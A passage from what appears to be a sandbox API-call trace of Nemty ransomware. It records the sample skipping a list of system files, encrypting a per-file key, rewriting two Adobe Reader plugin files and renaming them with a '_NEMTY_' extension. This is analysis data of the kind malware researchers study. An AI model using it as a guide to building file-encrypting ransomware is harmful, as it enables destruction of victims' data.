lpString2=".") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="..") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="...") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="windows") returned -1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="$RECYCLE.BIN") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="rsa") returned -1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="NTDETECT.COM") returned -1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="ntldr") returned -1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="MSDOS.SYS") returned -1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="IO.SYS") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="boot.ini") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="boot.ini") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="AUTOEXEC.BAT") returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="ntuser.dat") returned -1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="desktop.ini") returned 1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="CONFIG.SYS") returned 1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="RECYCLER") returned -1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="BOOTSECT.BAK") returned 1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="bootmgr") returned 1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="programdata") returned -1 [0192.009] lstrcmpiW (lpString1="Mcimpp.POL", lpString2="appdata") returned 1 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.POL", lpUsedDefaultChar=0x0) returned 10 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.POL", lpUsedDefaultChar=0x0) returned 10 [0192.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.POL", lpUsedDefaultChar=0x0) returned 10 [0192.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.POL", lpUsedDefaultChar=0x0) returned 10 [0192.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.009] Sleep (dwMilliseconds=0x5) [0192.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26194190, dwHighDateTime=0x1d561e8)) [0192.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26194190, dwHighDateTime=0x1d561e8)) [0192.018] GetLastError () returned 0x0 [0192.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.018] GetLastError () returned 0x0 [0192.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.019] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.019] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.019] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="vnbb376JR0srCrzCB54W7595zZmA2NiAJuAsMoi4upQwo4YJh14DlzttwFQZQzWx\r\nmo0NThu6jZHaKRzc5G9x9BSV2sYbGcta/P74AuIDFlr8FAIoCdzT4oGuwx5XGf+j\r\n8xC+7SOMi0gXajd7tHa/w/TvWyxRfZzKv8OOo7bvTe9dR7eG6tftYaD8YvH3WU/M\r\nZ8WwgNPVxAszoj8jA+5x7AS1xLZPimPHTYaOHXOOwzkPqNk0Trs4YbzeAlVQ/MC2\r\nPuKjVMaiZFa42O+vcI1QOcHT3aBd0lTpBVHwAqnCJwUfK2ox7F4CSWv1Il7QOTnm\r\nLc8/9b5NcyStKU629E4qXg==\r\n", pcchString=0x653e29c) returned 1 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.019] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.019] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.019] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.021] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.021] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.022] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.022] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.022] CloseHandle (hObject=0x2f0) returned 1 [0192.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.022] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol._nemty_kgobjgd_")) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.023] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.POL", cAlternateFileName="QUICKT~1.POL")) returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2=".") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="..") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="...") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="windows") returned -1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="$RECYCLE.BIN") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="rsa") returned -1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="NTDETECT.COM") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="ntldr") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="MSDOS.SYS") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="IO.SYS") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="boot.ini") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="boot.ini") returned 1 [0192.023] lstrcmpiW (lpString1="QuickTime.POL", lpString2="AUTOEXEC.BAT") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="ntuser.dat") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="desktop.ini") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="CONFIG.SYS") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="RECYCLER") returned -1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="BOOTSECT.BAK") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="bootmgr") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="programdata") returned 1 [0192.024] lstrcmpiW (lpString1="QuickTime.POL", lpString2="appdata") returned 1 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.POL", lpUsedDefaultChar=0x0) returned 13 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.POL", lpUsedDefaultChar=0x0) returned 13 [0192.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.POL", lpUsedDefaultChar=0x0) returned 13 [0192.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.POL", lpUsedDefaultChar=0x0) returned 13 [0192.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.024] Sleep (dwMilliseconds=0x5) [0192.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x261ba2f0, dwHighDateTime=0x1d561e8)) [0192.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x261ba2f0, dwHighDateTime=0x1d561e8)) [0192.034] GetLastError () returned 0x0 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.034] GetLastError () returned 0x0 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.034] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.034] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.034] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.034] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="PoUiCCXaq0i/pMxRO4yKBymIlUyfuioqcvMR3Y0eYSxET0b3T665pTrdlLAk6Oj8\r\nrjnJLcdNo44yL5QHath5N+jRDcLUBhFMQLTtMHr7SScVW9UbF3t0VNEnX1giAIog\r\nXcUWSyiPRWlFEjiuKlCyulefry3JBxpoPx8tt/0PjUA6fiRmRoqnhMirMp8HCud8\r\nulChWRYITfg/vvsmz0M+noS/4jUH8Gik4WhCCDgrsAC6rYxIUSQGAZUFTySYjlTn\r\njTQjNZDEIcVKGXqWeRuUJlicSyNujt0myjWAIQgF0jIYS/OVvYs46kLHrNnfLcsp\r\nZbiYOpi/Bun0Up2YmBaXNg==\r\n", pcchString=0x653e29c) returned 1 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.035] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.035] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.035] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.037] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.037] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.037] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.037] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.037] CloseHandle (hObject=0x2f0) returned 1 [0192.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.037] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol._nemty_kgobjgd_")) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.038] 